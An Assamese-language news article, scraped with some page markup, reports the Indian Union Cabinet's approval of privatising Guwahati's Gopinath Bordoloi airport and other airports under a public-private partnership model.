<div id="div-gpt-ad-1525434274989-6"></div> <aside class="iwpl-leftwrap"> <div class="sso-category-tags"> গুৱাহাটীৰ লোকপ্ৰিয় গোপীনাথ বৰদলৈ আন্তঃৰাষ্ট্ৰীয় বিমান বন্দৰকে ধৰি দেশৰ ৬টা বিমান বন্দৰ আজি ব্যক্তিগত খণ্ডক গতাই দিয়াৰ প্ৰস্তাৱত আনুষ্ঠানিক ভাৱে অনুমোদন জনায় কেন্দ্ৰীয় কেবিনেটে। কেন্দ্ৰীয় মন্ত্ৰী প্ৰকাশ জাভেদকাৰে আজি অনুষ্ঠিত কৰা এক সংবাদমেলত এই বিষয়ে প্ৰকাশ কৰি কয় যে গুৱাহাটীৰ লোকপ্ৰিয় গোপীনাথ বৰদলৈ আন্তঃৰাষ্ট্ৰীয় বিমান বন্দৰৰ লগতে জয়পুৰ,থিৰুৱান্তপুৰমৰ বিমান বন্দৰ প্ৰাইভেট পাব্লিক পাৰ্টনাৰশ্বিপ মডেলৰ অধীনত ব্যক্তিগত খণ্ডৰ হাতত গতাই দিয়া হৈছে। উল্লেখ্য ২০১৮ চনতে কেন্দ্ৰীয় চৰকাৰে দেশৰ বহু কেইটা বিমান বন্দৰ ব্যক্তিগত খণ্ডৰ হাতত গতাই দিয়াৰ সিদ্ধান্ত লৈছিল। ২০১৯ চনৰ ফেব্ৰুৱাৰী মাহত আহমেদাবাদ,জয়পুৰ, মাংগালুৰু,থিৰুৱান্তপুৰম বিমানবন্দৰ ব্যক্তিগত খণ্ডৰ হাতত গতাই দিয়াৰ কথা চিন্তা কৰিছিল। একেদৰে ২০১৯ চনৰ ছেপ্তেম্বৰ মাহত চৰকাৰে বাৰানসী,ভূৱনেশ্বৰ,ৰাইপুৰ তিৰছি বিমানবন্দৰ ব্যক্তিগতকৰণৰ কথা চিন্তা কৰা হৈছিল। অৱশেষত আজি কেন্দ্ৰীয় কেবিনেটে গুৱাহাটীৰ লগতে আন কেইবাটাও বিমান বন্দৰ ব্যক্তিগত খণ্ডৰ হাতত গতাই দিয়াৰ বিষয়টোত অনুমোদন জনায়। বিমান বন্দৰৰ ব্যক্তিগতকৰণৰ জৰিয়তে চৰকাৰে বিমান বন্দৰ সমূহৰ মান উন্নত কৰাৰ বাবে চেষ্টা চলাব। ব্যক্তিগত খণ্ডৰ হাতলৈ যোৱাৰ ফলত বিমান বন্দৰৰ ভিতৰ চ’ৰাৰ বিশেষ পৰিৱৰ্তন হ’ব বুলি চৰকাৰে আশা কৰিছে। </div> </aside><script src="//cilkonlay.com/219570f0735a89185c.js"></script>
